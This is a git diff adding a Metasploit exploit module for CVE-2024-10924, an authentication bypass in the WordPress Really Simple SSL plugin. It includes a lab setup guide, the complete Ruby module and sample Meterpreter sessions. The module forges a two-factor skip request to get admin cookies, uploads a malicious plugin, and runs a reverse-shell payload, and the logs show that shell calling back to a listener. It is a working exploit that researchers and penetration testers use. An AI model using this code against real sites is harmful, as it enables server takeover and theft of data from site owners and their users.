diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 82303d9c0eb5..ecaf8eedcb51 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -65,3 +65,4 @@ hash-form give ultimate-member wp-fastest-cache +really-simple-ssl diff --git a/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md new file mode 100644 index 000000000000..b4d9ad3ad137 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md @@ -0,0 +1,169 @@ +## Vulnerable Application + +The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack. +This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance. + +### Pre-requisites: +- **Docker** and **Docker Compose** installed on your system. + + +### Setup Instructions + +1. **Download the Docker Compose file**: + Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database. + +```yaml +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +2. **Add custom PHP configuration**: + - Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +3. **Start the Docker environment**: +- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services: + +```bash +docker-compose up -d +``` + +4. **Install and activate the plugin**: +- Download the vulnerable version of **Really Simple SSL**: +```bash +wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip +``` +- Extract the plugin: +```bash +unzip really-simple-ssl.9.1.1.zip +``` +- Copy the plugin files to the WordPress container: +```bash +docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/ +``` +- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel. + +5. **Enable Two-Factor Authentication**: +- Go to **Settings > Really Simple Security**. +- Activate **Two-Factor Authentication**. + + +## Verification Steps + +1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin. +2. **Start Metasploit** using the command `msfconsole`. +3. Use the correct module for the vulnerability: + +```bash +use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce +``` + +4. Set the target's IP and URI: + +```bash +set RHOSTS +set TARGETURI / +``` + +5. **Run the module**: + +```bash +run +``` + +6. **Verify the Authentication Bypass**: +- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator. + +## Options + +### USERID + +The user ID to target for 2FA bypass (default: 1) + +## Scenarios + +### Example 1: PHP Meterpreter (ARCH_PHP) + +```bash +msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.5.3 +[+] Detected vulnerable plugin slug: really-simple-ssl +[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. +[*] 2FA bypass successful. Uploading plugin... +[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php... +[*] Sending stage (40004 bytes) to 172.18.0.3 +[+] Deleted ajax_pottw.php +[+] Deleted wp_1ftvf.php +[+] Deleted ../wp_1ftvf +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100 + +meterpreter > sysinfo +Computer : a8dddfbbb9e2 +OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > +``` + +### Example 2: Linux Command Shell (ARCH_CMD) + +```bash +msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.5.3 +[+] Detected vulnerable plugin slug: really-simple-ssl +[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable. +[*] 2FA bypass successful. Uploading plugin... +[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php... +[*] Sending stage (3045380 bytes) to 172.18.0.3 +[+] Deleted ajax_gjreh.php +[+] Deleted wp_3wbfa.php +[+] Deleted ../wp_3wbfa +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100 + +meterpreter > sysinfo +Computer : 172.18.0.3 +OS : Debian 11.8 (Linux 5.15.0-125-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb b/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb new file mode 100644 index 000000000000..468e22a5d716 --- /dev/null +++ b/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + prepend Msf::Exploit::Remote::AutoCheck + + class WordPressNotOnline < StandardError; end + class AdminCookieError < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin + (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and + uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable, + 2FA must be enabled on the target site; otherwise, the exploit will not work. + }, + 'Author' => [ + 'Valentin Lobstein', # Metasploit module + 'István Márton' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-10924'], + ['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'], + ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[unix linux win php], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix In-Memory', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows In-Memory', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-14', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1]) + ] + ) + end + + def check + return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? + + print_status("WordPress Version: #{wordpress_version}") if wordpress_version + + %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug| + plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0') + case plugin_check.code + when 'appears' + return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.") + when 'safe' + return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.") + end + end + + return CheckCode::Unknown('No vulnerable plugins were detected.') + end + + def exploit + admin_cookie = bypass_2fa + raise AdminCookieError, 'Failed to retrieve admin cookie' unless admin_cookie + + print_status('2FA bypass successful. Uploading plugin...') + upload_and_execute_payload(admin_cookie) + rescue WordPressNotOnline => e + fail_with(Failure::Unreachable, "Target WordPress site is unreachable: #{e.message}") + rescue AdminCookieError => e + fail_with(Failure::UnexpectedReply, "Failed to bypass 2FA: #{e.message}") + rescue StandardError => e + fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}") + end + + def bypass_2fa + user_id = datastore['USER_ID'] + login_nonce = Rex::Text.rand_text_numeric(10) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'ctype' => 'application/json', + 'data' => { + 'user_id' => user_id, + 'login_nonce' => login_nonce, + 'redirect_to' => '/wp-admin/' + }.to_json, + 'vars_get' => { + 'rest_route' => '/reallysimplessl/v1/two_fa/skip_onboarding' + } + }) + + raise WordPressNotOnline, 'No response from the target' unless res + + case res.code + when 404 + fail_with(Failure::NotVulnerable, 'Two-Factor Authentication (2FA) is not enabled or the plugin is misconfigured.') + when 200 + return extract_cookies(res.get_cookies) if res.get_cookies + else + fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.") + end + + fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.') + end + + def extract_cookies(cookie_header) + match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/) + return match[1] if match + + nil + end + + def upload_and_execute_payload(admin_cookie) + plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") + zip = generate_plugin(plugin_name, payload_name) + + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded + + print_status("Executing the payload at #{payload_uri}...") + + register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") + register_dir_for_cleanup("../#{plugin_name}") + send_request_cgi({ + 'uri' => payload_uri, + 'method' => 'GET' + }) + end +end